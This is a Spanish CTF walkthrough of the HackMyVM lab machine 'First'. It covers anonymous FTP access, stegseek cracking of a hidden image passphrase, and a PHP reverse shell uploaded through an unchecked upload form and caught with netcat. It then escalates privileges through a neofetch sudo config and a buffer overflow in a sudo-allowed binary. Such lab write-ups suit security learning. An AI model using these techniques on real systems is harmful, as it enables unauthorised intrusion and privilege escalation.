First
Hoy vamos a realizar la primera máquina del autor WWFYMN en HackMyVM, donde tiene un poco de todo y una escalada que en su momento dejé de lado, porque pensé que había que realizar la técnica de un buffer overflow… ¿en easy? Vamos a comprobarlo.
Reconocimiento de Puertos
En primer lugar averiguamos la IP de la máquina víctima:
❯ sudo arp-scan -l | grep "PCS"
192.168.0.21 08:00:27:37:97:2b PCS Systemtechnik GmbH
Ahora definimos la IP en una variable para no tener que escribirla todo el rato, y realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ ./nmapauto.sh $ip
[*] Reconocimiento inicial de puertos
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 19:19 CET
Initiating Ping Scan at 19:19
Scanning 192.168.0.21 [2 ports]
Completed Ping Scan at 19:19, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 19:19
Scanning 192.168.0.21 [65535 ports]
Discovered open port 22/tcp on 192.168.0.21
Discovered open port 21/tcp on 192.168.0.21
Discovered open port 80/tcp on 192.168.0.21
Completed Connect Scan at 19:19, 3.25s elapsed (65535 total ports)
Nmap scan report for 192.168.0.21
Host is up (0.00020s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds
[*] Escaneo avanzado de servicios
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 19:19 CET
Nmap scan report for 192.168.0.21
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Aug 09 10:16 fifth
| drwxr-xr-x 2 0 0 4096 Aug 10 12:44 first
| drwxr-xr-x 2 0 0 4096 Aug 09 10:16 fourth
| drwxr-xr-x 2 0 0 4096 Aug 09 10:16 seccond
|_drwxr-xr-x 2 0 0 4096 Aug 09 10:16 third
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.0.24
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b8:57:5b:81:5a:78:1f:d6:ff:60:39:bb:32:a8:5d:cd (RSA)
| 256 65:8d:43:ec:63:77:d0:39:c0:1b:3e:40:d9:53:1e:ed (ECDSA)
|_ 256 0f:02:ac:df:e1:31:3c:b2:59:f6:b7:59:09:f1:ff:f8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Ojo, ya hemos descubierto que tenemos acceso vía FTP con el usuario “Anonymous”, vamos a ver ahora qué muestra la web:
❯ curl $ip
I Finnaly got apache working, I am tired so I will do the todo list tomorrow. -first
Aquí lo que sacamos es que probablemente exista un usuario llamado “first”.
FTP
Vamos ahora conectarnos vía FTP como “Anonymous”:
❯ ftp -p $ip
Connected to 192.168.0.21.
220 (vsFTPd 3.0.3)
Name (192.168.0.21:kaian): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (192,168,0,21,82,198).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Aug 09 10:16 fifth
drwxr-xr-x 2 0 0 4096 Aug 10 12:44 first
drwxr-xr-x 2 0 0 4096 Aug 09 10:16 fourth
drwxr-xr-x 2 0 0 4096 Aug 09 10:16 seccond
drwxr-xr-x 2 0 0 4096 Aug 09 10:16 third
226 Directory send OK.
Existen 5 directorios. Vamos a ver qué nos encontramos:
ftp> cd first
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,0,21,186,152).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 33526 Aug 10 12:42 first_Logo.jpg
226 Directory send OK.
ftp> get first_Logo.jpg
local: first_Logo.jpg remote: first_Logo.jpg
227 Entering Passive Mode (192,168,0,21,202,89).
150 Opening BINARY mode data connection for first_Logo.jpg (33526 bytes).
226 Transfer complete.
33526 bytes received in 0.01 secs (2.1477 MB/s)
Hemos encontrado una imagen y la hemos descargado, veamos:
La imagen no nos dice nada, veamos si tiene alguna información oculta:
❯ steghide info first_Logo.jpg
"first_Logo.jpg":
formato: jpeg
capacidad: 1,4 KB
Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto:
steghide: no pude extraer ningn dato con ese salvoconducto!
La tiene, y además con contraseña, así que vamos a tratar de obtenerla utilizando fuerza bruta:
Fuerza bruta a contraseña en imagen
❯ stegseek first_Logo.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "firstgurl1"
[i] Original filename: "secret.txt".
[i] Extracting to "first_Logo.jpg.out".
❯ cat first_Logo.jpg.out
SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==
Parece un mensaje codificado en Base64, así que lo descodificamos:
Descodificando mensaje
❯ echo "SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==" | base64 -d
Hi I had to change the name of the todo list becouse directory busting is too easy theese days also I encoded this in besa64 becouse it is cool btw your todo list is : 2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74 do it quick we are vulnarable do the first first
Ahora nos da otra “clave” pero en hexadecimal:
❯ echo "2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74" | xxd -ps -r
/t0d0_l1st_f0r_f1r5t
Vale, tenemos un directorio secreto que no íbamos a encontrar haciendo fuzzing, vamos a ver qué muestra:
Ahora sí, realizamos fuzzing sobre este directorio:
Fuzzing
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php,html,txt -u $ip/t0d0_l1st_f0r_f1r5t/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.21/t0d0_l1st_f0r_f1r5t/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
2022/12/05 20:22:12 Starting gobuster in directory enumeration mode
===============================================================
/upload.php (Status: 200) [Size: 348]
/photos (Status: 301) [Size: 333] [--> http://192.168.0.21/t0d0_l1st_f0r_f1r5t/photos/]
/uploads (Status: 301) [Size: 334] [--> http://192.168.0.21/t0d0_l1st_f0r_f1r5t/uploads/]
/index.html (Status: 200) [Size: 205]
===============================================================
2022/12/05 20:24:37 Finished
===============================================================
Parece que hemos encontrado una vía de explotación a través de “upload.php”.
Reverse shell
Veamos si nos permite subir una reverse shell (usaremos como siempre la de pentestmonkey) directamente sin comprobaciones:
The file php-reverse-shell.php has been uploaded.
Ha habido suerte, si nos vamos al directorio “uploads”:
Bien, a tener en cuenta que la reverse shell ya está editada con mi IP y solo falta ponernos en escucha con Netcat a través del puerto que hayamos configurado y hacer clic en la misma desde el navegador. Tras conectarnos realizaremos el tratamiento de la terminal para tenerla completamente operativa y sin cortes:
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.24] from (UNKNOWN) [192.168.0.21] 49006
Linux first 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
20:21:35 up 2:05, 0 users, load average: 0.00, 0.00, 0.47
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@first:/$ ^Z
zsh: suspended nc -nlvp 1234
❯ stty raw -echo; fg
[1] + continued nc -nlvp 1234
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@first:/$ export TERM=xterm
www-data@first:/$ export SHELL=bash
www-data@first:/$ stty columns 184 rows 44
www-data@first:/$ cd /home
www-data@first:/home$ ls
first
www-data@first:/home$ cd first
www-data@first:/home/first$ ls
user.txt
www-data@first:/home/first$ cat user.txt
Y con esto ya tenemos la flag de user.
Escalada de privilegios
Como hacemos siempre, si miramos la lista de permisos que tenemos para usar privilegios de otro usuario vemos lo siguiente
www-data@first:/home/first$ sudo -l
Matching Defaults entries for www-data on first:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on first:
(first : first) NOPASSWD: /bin/neofetch
De esta forma, vamos a tratar de pivotar al usuario “first”. Para ello vamos a mirar la ayuda de neofetch para ver si nos podemos aprovechar de algo:
Esa opción parece interesante, así que vamos a crear un fichero en el que tengamos permisos de escritura y hacer que lo ejecute ese binario:
www-data@first:/tmp$ mktemp
/tmp/tmp.evCpbdlQaa
www-data@first:/tmp$ nano /tmp/tmp.evCpbdlQaa
Introducimos este contenido y guardamos:
#!/bin/bash
bash -i
Le damos permisos al fichero para que pueda leerlo neofetch y ejecutamos el binario como “first”:
www-data@first:/home$ chmod 655 /tmp/tmp.KDh1g6M8ro
www-data@first:/home$ sudo -u first neofetch --config /tmp/tmp.KDh1g6M8ro
first@first:~$ whoami
first
Volvemos a comprobar en este caso qué permisos tiene este usuario:
first@first:~$ sudo -l
Matching Defaults entries for first on first:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User first may run the following commands on first:
(ALL) NOPASSWD: /bin/secret
Como recordaréis, al principio nos dio una pista (patch the buffer overflow in our secret file ;)), y al ejecutar ese binario pide una pass la cual no conocemos. Lo que vamos a intentar es meter varios caracteres y ver si “escapamos” de la comprobación.
first@first:/home$ sudo secret
pass: EsperemosQueFuncioneElBufferOverflow
correct, input command:bash
root@first:/home# cd /root
root@first:~# ls
r00t.txt snap
root@first:~# cat r00t.txt
Pues con esto terminaríamos la máquina, la cual la parte de la escalada me ha parecido bastante novedosa y más compleja que el resto.
Extra (Buffer Overflow)
Tras terminar la máquina, aunque no me hizo falta para la resolución, vamos a tratar de explicar por qué funcionó esa pass que pusimos inventada. Me voy a traer el binario a la máquina atacante para examinarlo, por lo que creo un servidor Python python3 -m http.server
desde “/bin” y lo descargo:
❯ wget $ip:8000/secret
--2022-12-06 00:11:14-- http://192.168.0.21:8000/secret
Conectando con 192.168.0.21:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 16944 (17K) [application/octet-stream]
Grabando a: «secret»
secret 100%[======================>] 16,55K --.-KB/s en 0s
2022-12-06 00:11:14 (145 MB/s) - «secret» guardado [16944/16944]
Abro ghidra, creo un proyecto e importo el binario, busco por “pass” y llego a esta función:
Si no interpreto mal, podremos “saltarnos” la contraseña con una pass de entre 11 y 114 caracteres tal y como podemos ver en la definición de esas variables. Nos vemos en la siguiente.